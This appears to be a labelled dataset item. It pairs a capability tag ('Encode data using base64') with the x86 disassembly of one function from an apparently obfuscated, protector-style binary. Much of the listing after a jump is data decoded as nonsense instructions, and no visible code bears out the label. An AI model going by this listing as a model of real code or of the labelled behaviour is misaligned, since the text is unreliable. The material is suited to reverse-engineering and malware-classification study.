Function at 0x1012ac43
Capabilities:
Encode data using base64

Disassembly:
sub ax, ax
xor bl, cl
cwd
sub esi, 2
mov word [esi], cx
mov ecx, edx
sub edi, 4
mov dword [esp], 0xd5032db4
btc edx, edx
sbb byte [esp + 2], dl
mov ecx, dword [edi]
bts ax, ax
imul edx, dword [esp]
xor ecx, ebx
ror ecx, 1
neg ecx
xchg byte [esp + 2], al
pop edx
inc ecx
dec eax
bswap ecx
xor ebx, ecx
btc eax, edx
shr edx, 0xde
setb al
adc ebp, ecx
movzx ecx, dx
add cl, dh
jno 0x10266990
mov ecx, dword [ebp]
not eax
rol eax, 0x9b
mov eax, dword [ebp + 4]
mov edx, 0x231bb30f
not dx
lea ebp, [ebp + edx*2 - 0x463699d8]
and edx, 0x65bbf389
bt edx, edx
mov dword [ecx + edx - 0x211b4080], eax
movzx ecx, dx
movzx eax, cx
mul eax
mov ecx, dword [edx + edi]
shl edx, 0x67
add eax, edx
sub al, dh
lea edi, [edi + edx + 4]
cwde
sub eax, eax
add edx, eax
xor ecx, ebx
ror eax, 0xb8
sal dl, 2
sete al
adc ecx, eax
cwde
inc ax
neg ecx
inc eax
lea eax, [edx*2 - 0x32705f77]
lea eax, [eax + edx*2 + 0x6b062ab8]
lea ecx, [edx + ecx + 0x7f250293]
shl al, 0x87
rol ecx, 1
jmp 0x100b50b1
push 3
invalid
mov al, byte [0x568c0a51]
pop esp
jno 0x10266900
mov al, byte [0xaf16b48d]
cmp byte [ebp - 0x30], cl
ja fcn.101b9510
call [ebp + edi*8 - 0x2b92b369]
fbstp tbyte ss:[edi + 0x76a6f173]
pushfd
std
xchg edi, eax
dec esp
insd dword es:[edi], dx
aam 0x36
fbstp tbyte [edi + 0x76a6f173]
mov bh, 0x73
int1
cmpsb byte [esi], byte es:[edi]
jbe 0x102669a3
inc edi
jae 0x10266998
invalid
int1
cmpsb byte [esi], byte es:[edi]
out 0x6e, al
pop es
jae 0x1026699e
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
test byte [edi + 0x73], 0xf1
dec edi
jae 0x102669a4
cmpsb byte [esi], byte es:[edi]
jle 0x1026695e
jae 0x102669aa
cmpsb byte [esi], byte es:[edi]
daa
jae 0x102669b0
cmpsb byte [esi], byte es:[edi]
out 0x57, al
fbstp tbyte [ebx - 0xf]
cmpsb byte [esi], byte es:[edi]
inc byte [esi - 0x36db41ce]
or esi, ecx
dec esi
sub al, byte [ecx + 0x3068f9de]
adc byte [eax], al
add byte [eax], al
add byte [edi - 0x5c0e8a81], bl
pop edx
lodsd eax, dword [esi]
nop
xchg esp, eax
sub esp, edx
rcl byte [ebp - 0x65]
push 0x7d
adc eax, 0x6a9bd5e0
jge 0x102669a6
add byte [0xcd7d6a9b], bh
fdiv dword [ebp - 0x65]
wait
push 0x7d
int 0xd8
jne 0x10266995
push 0x7d
sbb eax, 0x6a9bb578
jge 0x10266a07
adc ch, al
wait
push 0x7d
sub al, 0xc8
in eax, 0x9b
push 0x7d
in al, 0xee
jge 0x10266a35
enter 0xffffffffffff9be5, 0x6a
jge 0x102669f3
out dx, al
xchg ebp, eax
fild word [esp + esi + 0x6d4cc43f]
aam 0x25
cld
les ecx, [ebp + ebp*2 - 0x2c]
and eax, 0xf17394fc
xchg esp, eax
jae 0x10266a0f
cmpsb byte [esi], byte es:[edi]
xor eax, 0xf173fc45
cld
jae 0x10266a15
cmpsb byte [esi], byte es:[edi]
popfd
xchg ebp, eax
pop esp
jae 0x10266a1b
cmpsb byte [esi], byte es:[edi]
mov ebp, 0xf173fcf4
cld
jae 0x10266a21
cmpsb byte [esi], byte es:[edi]
fstp qword [ebp - 0x590e8cbc]
inc esp
jae 0x10266a27
int1
cmpsb byte [esi], byte es:[edi]
test dword [ebp + 0x64], ebx
jae 0x10266a2d
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
sbb al, 0xe4
jae 0x10266a33
cmpsb byte [esi], byte es:[edi]
vpsllw ymm7, ymm1, xmmword [esi + 0x6c3ec924]
xchg ebp, eax
sub al, byte [ecx + 0x306822de]
adc byte [eax], al
add byte [eax], al
add byte [edi + edi*2 + 0x75], al
int1
js 0x10266a36
mov ss, word [eax + 0x4b9f2994]
push cs
wait
push 0x7d
stosd dword es:[edi], eax
wait
push 0x7d
dec esi
jnp 0x10266a06
wait
push 0x7d
das
stosd dword es:[edi], eax
wait
push 0x7d
scasb al, byte es:[edi]
imul edx, dword [esi + 0x667d6a9b], 0x73
invalid